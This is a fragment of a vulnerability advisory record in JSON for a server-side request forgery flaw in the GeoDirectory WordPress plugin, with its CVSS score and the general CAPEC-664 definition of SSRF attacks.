      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/geodirectory/vulnerability/wordpress-geodirectory-plugin-2-8-161-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.